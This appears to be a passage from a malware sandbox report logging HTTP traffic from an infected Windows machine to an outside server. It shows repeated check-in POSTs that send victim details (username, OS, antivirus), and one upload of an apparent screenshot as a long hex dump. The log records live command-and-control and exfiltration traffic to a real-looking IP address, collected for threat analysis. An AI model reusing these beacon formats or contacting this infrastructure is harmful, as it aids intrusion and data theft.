559	192.168.2.5	50046	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:51.956619024 CEST	10401	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
56	192.168.2.5	49741	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:22:32.287851095 CEST	1592	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
560	176.111.174.114	80	192.168.2.5	50046	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:52.057477951 CEST	10493	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:23:52 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
561	176.111.174.114	80	192.168.2.5	50045	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:52.137365103 CEST	10495	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:23:51 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
562	192.168.2.5	50047	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:52.269376993 CEST	10496	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
563	176.111.174.114	80	192.168.2.5	50047	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:52.371140957 CEST	10496	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:23:52 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
564	192.168.2.5	50049	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:52.582488060 CEST	10497	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
565	176.111.174.114	80	192.168.2.5	50049	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:52.685695887 CEST	10497	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:23:52 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
566	192.168.2.5	50050	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:52.895669937 CEST	10498	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
567	176.111.174.114	80	192.168.2.5	50050	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:52.994338989 CEST	10498	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:23:52 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
568	192.168.2.5	50051	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:53.204106092 CEST	10499	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
569	176.111.174.114	80	192.168.2.5	50051	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:53.308196068 CEST	10499	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:23:53 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
57	176.111.174.114	80	192.168.2.5	49741	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:22:32.387026072 CEST	1592	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:22:32 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
570	192.168.2.5	50053	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:53.516588926 CEST	10500	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
571	176.111.174.114	80	192.168.2.5	50053	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:53.621761084 CEST	10500	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:23:53 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
572	192.168.2.5	50054	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:53.834566116 CEST	10501	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
573	176.111.174.114	80	192.168.2.5	50054	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:53.939853907 CEST	10501	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:23:53 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
574	192.168.2.5	50055	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:54.161969900 CEST	10502	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
575	176.111.174.114	80	192.168.2.5	50055	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:54.270353079 CEST	10502	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:23:54 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
576	192.168.2.5	50056	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:54.495471001 CEST	10503	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
577	176.111.174.114	80	192.168.2.5	50056	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:54.607503891 CEST	10503	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:23:54 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
578	192.168.2.5	50057	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:54.749463081 CEST	10517	OUT	POST //Hnq8vS/index.php?scr=up HTTP/1.1 Host: 176.111.174.114 User-Agent: Uploador Content-Type: multipart/form-data; boundary=152138533219.jpg Connection: Keep-Alive Content-Length: 185541 Data Raw: 2d 2d 31 35 32 31 33 38 35 33 33 32 31 39 2e 6a 70 67 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 31 35 32 31 33 38 35 33 33 32 31 39 2e 6a 70 67 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 43 00 02 01 01 01 01 01 02 01 01 01 02 02 02 02 02 04 03 02 02 02 02 05 04 04 03 04 06 05 06 06 06 05 06 06 06 07 09 08 06 07 09 07 06 06 08 0b 08 09 0a 0a 0a 0a 0a 06 08 0b 0c 0b 0a 0c 09 0a 0a 0a ff db 00 43 01 02 02 02 02 02 02 05 03 03 05 0a 07 06 07 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a ff c0 00 11 08 04 00 05 00 03 01 22 00 02 11 01 03 11 01 ff c4 00 1f 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b ff c4 00 b5 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 23 42 b1 c1 15 52 d1 f0 24 33 62 72 82 09 0a 16 17 18 19 1a 25 26 27 28 29 2a 34 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e1 e2 e3 e4 e5 e6 e7 e8 e9 ea f1 f2 f3 f4 f5 f6 f7 f8 f9 fa ff c4 00 1f 01 00 03 01 01 01 01 01 01 01 01 01 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b ff c4 00 b5 11 00 02 01 02 04 04 03 04 07 05 04 04 00 01 02 77 00 01 02 03 11 04 05 21 31 06 12 41 51 07 61 71 13 22 32 81 08 14 42 91 a1 b1 c1 09 23 33 52 f0 15 62 72 d1 0a 16 24 34 e1 25 f1 17 18 19 1a 26 27 28 29 2a 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 82 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e2 e3 e4 e5 e6 e7 e8 e9 ea f2 f3 f4 f5 f6 f7 f8 f9 fa ff da 00 0c 03 01 00 02 11 03 11 00 3f 00 fc 50 8a 2f 2e 9f 52 fd 8f 77 5c d2 ec 35 fa 5c 69 9f 07 ce 47 1f 7a 75 7b 17 c1 af d8 53 f6 86 f8 d3 e1 3b 2f 89 1a 56 81 65 a2 f8 4f 50 9e 48 ad 3c 51 e2 2b f5 b7 b5 99 a3 72 92 18 91 43 4f 70 15 c1 56 30 c5 26 d2 08 38 22 bd df e1 ff 00 fc 13 93 e0 87 85 f6 5d 7c 4a f1 de b3 e2 bb c5 5c b5 9e 91 12 e9 b6 28 e0 f4 f3 1c 49 35 c4 67 d9 6d 9f e9 58 d5 c4 e1 e9 68 e5 af 91 ac 28 56 a8 ae 96 87 c5 29 f7 6a c2 7d da fd 19 bd fd 87 ff 00 63 8f 1a 78 7f ec 6f f0 5a 7f 0f c8 cd 95 d4 7c 2f e2 7b e5 b8 07 8c 03 f6 e9 2e a2 2b ea 3c b0 c7 b3 0a f2 1f 88 7f f0 49 df 12 c4 b2 5d fc 0b f8 c9 a4 eb a0 6e 31 e8 fe 27 87 fb 22 f1 cf 50 89 29 79 2d 58 01 c6 f9 26 87 24 7d d1 9e 2a 9e 3f 0f 3d f4 f5 26 b6 0e bc 76 57 f4 3e 45 a4 55 c6 45 76 df 16 7f 67 5f 8e 7f 01 ee a3 8b e2 ef c2 bd 6b 42 8a 79 0a 59 df de 59 37 d8 ef 08 19 fd c5 ca e6 19 c6 3b c6 ec 38 3c f1 5c 5b 6f ef 5d d1 94 65 0b a7 73 85 a9 45 d9 90 c7 1b d0 fd 3f 1a 96 9a f8 ee 29 72 15 cd 76 57 93 b5 44 e3 9f ad 4b 27 6a 6e dd dc 62 b1 94 4d e3 b9 4e 44 3e b5 1d 7e c7 f8 9b fe 0d 34 d5 7c 37 75 f6 7b ff 00 db 9f 74 2e d8 86 e5 3e 18 65 5f ff 00 2a 7c 1f 6f e6 39 aa d6 bf f0 6a 22 dc f5 fd bd f6 ff 00 dd 2d cf fe e5 2b f3 2a de 2b f0 05 29 b8 4f 19 66 bf e9 dd 6f fe 56 7d 64 38 4b 88 a5 1e 65 43 4f f1 43 ff 00 92 3f 1e a3 eb f8 54 be 53 fa 57 ec 8d b7 fc 1a 4e 2e 17 1f f0 f0 1d bc ff 00 d1 29 cf fe e5 6b f2 8b f6 87 f8 44 df b3 ff 00 ed 09 e3 df 80 8f af 8d 58 f8 27 c6 5a a6 80 75 51 6b e4 0b c3 67 77 2d bf 9d e5 ee 6f 2f 7f 97 bb 6e e6 db 9c 64 e3 35 ef 70 ff 00 19 70 df 13 d5 9d 3c b2 bf b4 94 12 6f dd 9c 6c 9e 9f 6a 31 fc 0f 3b 31 c9 73 3c ae 2a 58 aa 7c a9 e8 b5 8b fc 9b 38 a7 39 38 a1 36 7f 1d 39 d1 b3 9a 65 7d 49 e5 0e 65 fe e5 21 56 5e a2 92 9d bc d0 1b 11 f9 7e f4 2a f7 34 f7 eb 5f af bf f0 6e 6f fc 12 17 f6 1d ff 00 82 90 7e cd Data Ascii: --152138533219.jpgContent-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-streamJFIFCC"}!1AQa"q2#BR$3br%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyzw!1AQaq"2B#3Rbr$4%&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz?P/.Rw\5\iGzu{S;/VeOPH<Q+rCOpV0&8"]\|J\(I5gmXh(V)j}cxoZ\|/{.+<I]n1'"P)y-X&$}?=&vW>EUEvg_kByYY7;8<\[o]esE?)rvWDK'jnbMND>~4\|7u{t.>e_\|o9j"-++)OfoV}d8KeCOC?TSWN.)kDX'ZuQkgw-o/nd5pp<olj1;1s<X\|89869e}Ie!V^~4_no~>K-[R9t/w6_gcmA~r 9qXxJ^w<MNH~@C5\|\>;$62>x}<uw5oa?_r3#~?/Oz_W<Cu3V2m yXZW_x[[B$)! zLml[aj3\snV&L3y{NijJ@\|RKE6M%tTQO0hR(()`sKNm;Q!T_\iFE7UrNz6zQQ9 GN&XCTn3iKi}jDB{EP@QEQEP7J2Iw) ($ruNm"a:;bON6(sbUW3N.KKzuPN?N)6(~4'O\|:ED'g#X_I'jN5ET%6N-)<)R>fQEQS OWEfaE/~4QErk>MD\FEC'jmML{h,Q@I<O/4EvEQEih-G@%SR>>1Q@Q@()$J:NPfSloPtZ>a:TNw_-Y&3D8e]KJR~w?47aH'%ozF}KOp$a}#N&\|_7eV94kH`=A!G>6`IJWIVI'Y+98J4UscSLftN5?-Nr~b=m=SY q^Cd-6m#!dk0#=^wb)bBkip.7M(5t_~#[Z<"C/]7rXg5?_Q- xXg561F?W'UW/'c?>3zl+GUGYsh/m&N$A(4rO'Hrv?zd=[5.#7{EL'wsWeGkd+UsxN5.3[CO<n}h<OJ?2"OQ_2+/p1?[uCl~?QWTzY_g?j\|Ef#^-CQ&C.e8`?)Lo.mqx_$f\|(6,>hlfPAbf7/Q_}:}N,D&02Kf0YXI#zv[M<&>JZI4Yo:;O+oY6]X.YU7(.+6N5iSI\|Y--wm.rFk$O\|Z>\|IE"$mm{<T@ ~'<+QjnS~m\|::S,S$?7%~{QEOMe)HzV]M:ecGZJ(:+>@"\|'z{BG+0y~eJ?;}UF>}Ei"~KQR<\|~rseT(4%QPMiUK`!jjdGOOGR0(3(%QLQE((N:t}SN$ I:~4:~4NZu^aRq"AFTg{4l5+.eW(<N#!SN:E)L~=c(A~Xm(VJ_DTQEbhC'jm=~4Vm6NGE=<n(MW)\R&oTQtTTGE:N)N(((nUsj%1%(gwSOm@R8'-.FJuJRB'jGEZwOYE)'- ($BsRlQr'~4/TI\))SRN]J}TPqs3"AZxWW;#?gkk4rDV`+`%gO5\|xzw-STcPT4D9=q_\|.[x+rVTa GAZB\|-jj]iYBgTe"jB3VvSMm]Ofx>7mk&rm@(Io~#x"{8@xDDz\|\|\|W#rC8LUdJ-{evd>3(akVu6wd]$.:oF96Q3GdRJ?GO>y5Sy}GCw_A,_{R]MzeBFm5 f7Q>+Df'@wsCL::}+K.PW/#kg,NI>yCUw7v?a`zI_^z>&9GQ(]4'q9)>=3N~[.X>Q[&5E?gW&\|4nwg5BgeQ9Oor?Qo)\|^Rr8m7^Oj59+%(l_bSMqR<{8Cr9;TFeI3YJ&+WrbgUH6t'pHW+z3<}EZ]/9ch(vV,1"bBcN{g]^_6xic,>I??s!=$L5U_?jPi\|}SZ]XxU1k=woug?duxJ^ZlC2,t<e^pf$'.i:9?X:[vF+NY]D5~IKWO_MIo4mn~&u1<.gnix,WibS{<vNvyQ@GM3czT;P2?//Oz<z\|z8iDRQLoQ~5wq#':~v($tF-vV1!Ry~73ul4KLzmNfcN~)_#Ry($(QN_w>#KXhx/e%7}HDAZ6j"&9QE;co3.$-PD'Zu6>:>DNdMH?ZD)=V]K8O\|P?yA};!\|/)\heIR5~S>qQ4DO&NvXH;vYs2:MRl(2 OeI6'j'j$=HiEH)vDi67>P#'j0E<C.y.9'O(%GRhQEQEfEPQ`(S_:czRQ@)(t}S@Q@S-QEaEPEPEP$F'?ZOoCNu^4<sW[,r["jn_i+sm?Iu3{Fo>qo~\|Zy#z/>/rB) e8j,k.t/pY=gWa0xqJXsP!!mMi$OQO\|[/~;RxBd hc ,UX)<Vd}Z}>[Y'%YrTdyB#]tw}s1o}lC/Wuwe;VAniduOD;\|\|w_+)W[[I-i\[B\ocUK~Ow0uM";g\GHBMpk_b+M_WxlL{gZiwjp?5\|.O\|i]RkM"Y^Orwocv9am_-/?OvuK;&k"D{=ZY#$D5guCOO\|@\|7i/x]Ns.e.a-kwlzF?e^XRUEg+Wgm.v.r;n6M65{KC8<T4GG^/DXL7f!J8V_NNk;oOCz> &i4GDSM=5+iEz>n<w7^Cz&mm=,Ztiu!H"BFq4"VNm&PsItWi7k]5!Nh-7J}ugSTkbb<AJ\|5?t.O#mZ5s\|x@<]jZFZ.tmfE7(i,;VaS^^j\E998KWi-Y4OJ~?O?-[^}O^sx/nQCZX8ci{ElW9h>?gTsztf4dD 6.$6O4qM\d1Gd~3_(yCCMkr~1gjmr}+T&KY&D$nW="aU-'Om['NWKhnV0UIV"jSwJqnre?[J(i/z'Gu;gW'dF1,X 1Q~ gG}#Qa;X\Yyk$HE .ln>~\|js!\|3>}s7766$phTqZUm/VwaJQN/W\|C{i\|>x3kKxW C[8FicGRTl;4ow.\|9y[T]x%#G4t#XL<1d%yp$&vJM=ehE^KW'[FI-L/Tr?cO=_7/K=:Mh?e$VO"O=[KN/c?z!h&t2v#?7\|=-/:\|C=T4-Y-Qsa%4m:mipsi4woV,\yn-Ki+H(P}?J%Ly)R:V\|9Q%+.\|av_::3_Iz9CE}(\#Rq2y~p}NVIiipC2PiRNH>VTITgPW?r}z!}ZH>BcS@H\|P.d@Dh+n1GZQ#.Z-.IwzwGO_!yjH0BNyQEQNJPOkMI\|QJOO'Z}hQW2TRL:ruR?O~ wYS:X-<6AiKEwhHeSY<\dUV$vQ:#!rIZ6l+co%IHT2&sOi_StT?(S\|~@E{G%MloJBV<9s);SjT}_iN'ju5kq;S,R23BrsMhy~QEfEP?TaRR2@e"ENloJ67K5%GOoiy5W<}QEaEPEPEPEPEPV+Q3UL}x3-JE;op\EEm], I,WdVg4.0b_X7gM\-ZZ[G%Kk]?GjOfHw:a\|0{EY6ow.gu"[F#jP^O~Wvho?'\_\-KBT+SOD$$9$h c<K%k{7zidg17.d_eJn'')4NeiRro&kD6}o=\|}~?\x{#mL}6<WikcFPv>\|BLM{O}RUKv6Z$R(E>0B-TQA+\|EN\|vZi{eliU)%h+~~/^_x$k}>[u}2s[xQ3Uuwm\|xOWa 